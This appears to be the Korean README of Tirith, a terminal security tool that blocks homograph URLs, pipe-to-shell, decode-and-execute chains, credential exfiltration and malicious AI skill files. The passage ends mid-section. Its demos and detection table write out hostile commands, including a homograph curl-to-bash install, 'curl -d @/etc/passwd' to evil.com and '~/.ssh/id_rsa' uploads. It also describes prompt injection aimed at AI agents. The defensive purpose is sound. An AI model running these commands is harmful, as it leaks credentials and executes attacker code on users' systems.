
개발자와 AI 에이전트를 위한 터미널 보안. 호모그래프 URL, 파이프-투-셸, ANSI 인젝션, 난독화된 페이로드, 데이터 유출, 악성 AI 스킬/구성(config)이 실행되기 전에 차단합니다.
브라우저라면 막아줄 텐데. 터미널은 그러지 않는다.
웹사이트 | 문서 | SKILL.md | 변경 이력 | 릴리스
독립 오픈소스 프로젝트이며, 호스팅은 Vercel 오픈소스 프로그램(2026년 봄 코호트)의 지원을 받습니다.
차이점을 찾을 수 있겠는가?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
당신은 알 수 없습니다. 당신의 터미널도 마찬가지입니다. 두 `і` 문자 모두 키릴 문자(U+0456)이며, 라틴 문자 `i`가 아닙니다. 두 번째 URL은 공격자의 서버로 연결됩니다. 스크립트는 당신이 눈치채기 전에 실행됩니다.
브라우저는 이 문제를 몇 년 전에 해결했습니다. 터미널은 여전히 유니코드, ANSI 이스케이프, 보이지 않는 문자를 의심 없이 렌더링합니다. AI 에이전트는 내부에 무엇이 들어 있는지 검사하지 않고 셸 명령을 실행하고 패키지를 설치합니다.
**Tirith가 문 앞에 서 있습니다.** 이 도구는 명령, 붙여넣은 콘텐츠, 스캔한 파일을 가로채어 동형이의어 URL, 난독화된 페이로드, 자격 증명 유출, 악성 AI 스킬/설정, 그리고 서명된 위협 인텔리전스 데이터베이스에서 확인된 알려진 악성 패키지/도메인/IP를 실행 전에 차단합니다.```bash
brew install tirith
그런 다음 셸 프로필에서 활성화하세요:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"`는 현재 셸을 자동 감지합니다(부모 프로세스를 검사하고 필요하면 `$SHELL`로 폴백합니다). 명시적 `--shell` 플래그는 감지를 재정의하려는 경우에만 필요합니다.
이것으로 대화형 셸 지원에 대한 설명은 끝입니다. 해당 셸에서 허용된 명령은 훅이 로드되어 정상 상태일 때 검사됩니다. 정확한 차단 동작은 셸과 모드에 따라 다릅니다. 설치 및 업그레이드 후 `tirith doctor`를 실행하고, 훅을 권한 부여 경계로 취급하기 전에 [셸별 적용](#enforcement-by-shell)을 읽어보세요. 깨끗한 명령은 조용히 유지되며 일반적으로 빠른 경로를 사용합니다.
[npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) 및 [기타](#install)를 통해서도 사용할 수 있습니다.
---
## 실제 동작 보기
**실행 전에 차단된 동형이의어 공격:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
명령은 절대 실행되지 않습니다.
깨끗한 URL을 사용한 파이프-투-셸, 경고됨, 차단되지 않음:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
stderr에 경고를 출력합니다. 명령은 여전히 실행됩니다.
**Base64 디코드-실행 체인, 차단됨:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
sudo/env 래퍼와 PowerShell -EncodedCommand를 통한 디코드 체인도 탐지합니다.
자격 증명 유출, 차단됨:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
curl/wget 업로드 플래그, 환경 변수(`$AWS_SECRET_ACCESS_KEY`), 명령어 치환을 모두 포함합니다.
**스캔에서 탐지된 악성 스킬 파일:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
JS/Python 파일에서 난독화된 페이로드, 동적 코드 실행, 시크릿 유출 패턴을 스캔합니다.
정상 명령어, 보이지 않음:``` $ git status $ ls -la $ docker compose up -d
아무것도. 출력 없음. tirith가 실행 중이라는 사실을 잊게 된다.
---
## 무엇을 잡아내는가
**35개 카테고리에 걸친 244개의 탐지 규칙.**
| 카테고리 | 차단하는 것 |
|----------|--------------|
| **동형이의어 공격** | 호스트 이름의 키릴/그리스 문자 유사 글자, punycode 도메인, 혼합 문자 레이블, 유사 TLD, 혼동 가능 도메인, 텍스트 수준 혼동 문자 탐지(수학 영숫자, 동일 단어 혼합 문자) |
| **터미널 인젝션** | ANSI 이스케이프 시퀀스, 양방향 재정의, 제로 폭 문자, 유니코드 태그, 보이지 않는 수학 연산자, 변형 선택자, 한글 채움 문자 |
| **스테가노그래피 방어** | 보이지 않는 공백 인코딩(12가지 유니코드 공백 변형), 몽골 모음 구분자, 한글 채움 문자, 수학 영숫자 치환, st3gg 스타일 텍스트 스테가노그래피에 대한 방어 |
| **파이프-투-셸** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, 그리고 다수의 래퍼, 디코드, 우회 경로 |
| **Base64 디코드-실행** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env 래퍼를 통한 디코드 체인 |
| **데이터 유출** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, 환경 변수 업로드(`$AWS_SECRET_ACCESS_KEY`), 명령 치환 유출 |
| **코드 파일 스캐닝** | 난독화된 페이로드(`eval(atob(...))`), 동적 코드 실행(`exec(b64decode(...))`), JS/Python 파일에서 `fetch`/`requests.post`를 통한 비밀 유출 |
| **자격 증명 탐지** | AWS 키, GitHub PAT, Stripe/Slack/SendGrid/Anthropic/GCP/npm 토큰, 개인 키 블록, 그리고 엔트로피 기반 일반 비밀 탐지 |
| **침해 후 행동** | 프로세스 메모리 스크래핑(`/proc/*/mem`), Docker 원격 권한 상승, 자격 증명 파일 스윕, TeamPCP 및 UNC1069 침해 후 도구에 맞춰 보정됨 |
| **명령 안전성** | 닷파일 덮어쓰기, 민감한 경로로의 아카이브 추출, 클라우드 메타데이터 엔드포인트 접근, 사설 네트워크 접근 |
| **안전하지 않은 전송** | 셸로 파이프되는 평문 HTTP, `curl -k`, 비활성화된 TLS 검증, 목적지를 숨기는 단축 URL |
| **환경** | 프록시 하이재킹, 민감한 환경 변수 내보내기, 환경을 통한 코드 인젝션, 인터프리터 하이재킹, 셸 인젝션 환경 |
| **설정 파일 보안** | 설정 인젝션, 의심스러운 지표, 설정 내 비ASCII/보이지 않는 유니코드, MCP 서버 보안(안전하지 않음/신뢰할 수 없음/중복/과도한 허용) |
| **생태계 위협** | Git clone 타이포스쿼팅, 신뢰할 수 없는 Docker 레지스트리, pip/npm URL 설치, web3 RPC 엔드포인트, vet 미설정 |
| **설치 명령 안전성** | 파이프된 다운로드에서 추가된 APT 저장소, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`(서명 검사 비활성화), 원시/단축 원격 매니페스트에 대한 `kubectl apply -f`, 신뢰할 수 없는 저장소의 Helm 차트, 신뢰할 수 없는 원격 소스의 Terraform 모듈, 임의 URL에서의 `brew install`/`tap` |
| **경로 분석** | 비ASCII 경로, 경로 내 동형 문자, 이중 인코딩 |
| **렌더링된 콘텐츠** | 숨겨진 CSS/색상 콘텐츠, 숨겨진 HTML 속성, 주석 콘텐츠 분석(High에서 프롬프트 인젝션, Medium에서 파괴적 명령) |
| **클로킹 탐지** | 서버 측 클로킹(봇 대 브라우저), 클립보드 숨겨진 콘텐츠, PDF 숨겨진 텍스트 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender 제외(`Add-MpPreference -Exclusion*`), 인라인 `iex (iwr ...)` 다운로드-실행 |
| **터미널 출력 방어** | OSC 52 클립보드 쓰기, 가짜 프롬프트, OSC 8 하이퍼링크 및 제목 / 화면 지우기 조작, 명령 또는 MCP 도구 출력 내부의 프롬프트 인젝션(원시 및 디난독화된 형태 모두 스캔되므로 보이지 않는 문자, 혼동 문자, 띄어쓰기, 리트스피크, 짧은 base64 / hex 회피도 잡힘), 그리고 출력 데이터 유출(비컨 URL 또는 "비밀을 읽은 후 전송" 지시) |
| **운영 컨텍스트** | 레이블이 지정된 프로덕션 클라우드 / k8s 컨텍스트 및 SSH 호스트에 대한 파괴적 명령, 일치하는 저장된 계획 없이 Terraform / Pulumi / OpenTofu `apply`, 위험한 sudo 권한 상승, 권한 있는 `docker run` |
| **워크스테이션 및 지속성** | 느슨한 권한의 자격 증명 파일 및 평문 토큰(`~/.ssh`, `~/.aws`, `.npmrc`), 지속성 거점(셸 rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH 하이재킹 순서, 실행 파일 출처, 위험한 별칭, 민감한 환경 변수 수명 주기 |
| **영향 범위 및 상관 관계** | 저장소를 벗어나는 삭제, 대량 삭제, 위험한 소스에서 다운로드한 파일 실행, 그리고 비밀 쓰기 후 네트워크 또는 삭제 후 `git push --force`와 같은 세션 체인 |
| **신뢰, 증명 및 출처** | 서명된 명령 카드 불일치, 카나리 허니토큰 접촉, 붙여넣기 소스-호스트 불일치, 호출자 출처(에이전트) 정책 거부, MCP 잠금 파일 드리프트, 알려진 안전 스냅샷 대비 AI 설정 드리프트 |
| **Web3 명령 가드** | Cast / Forge / Hardhat / Solana / Anchor 명령의 온체인 쓰기(동일 명령이 선언된 안전 제어를 비활성화하는 경우 High), 명령줄의 원시 개인 키, 키페어 또는 니모닉 자료, 그리고 운영자의 `web3_guard` 정책이 신뢰하지 않는 RPC 엔드포인트 또는 서명자. 문법과 정책만: 체인 상태를 읽지 않고, 트랜잭션을 시뮬레이션하지 않으며, 주소를 점수화하지 않음 |
| **지갑 유출** | 검토된 지갑, 키스토어, 브라우저 지갑, Solana 키페어 자료가 입증된 원격 싱크로 흘러가는 것, 아카이브, base64, hex, 압축기, 암호화기 스테이징 홉 및 `xargs` / `find -exec` 피연산자 승격 포함. 소스 전용 읽기는 의도적으로 발견 사항이 아님 |
| **CI 아티팩트 오염** | 빌드 아티팩트를 업로드하는 포크에서 도달 가능한 워크플로가, 트리거 실행에 바인딩된 권한 있는 `workflow_run` 워크플로에 의해 소비되어 실행, 소싱, PATH 변경, 게시 또는 배포되는 것 |
---
## tirith가 보호하지 않는 것
Tirith는 명령, 붙여넣은 텍스트, 파일이 실행되기 **전에** 그 **구조**를 분석한다. 이는 실행 전 게이트이지 런타임 방어가 아니며, 다음을 다루지 않는다: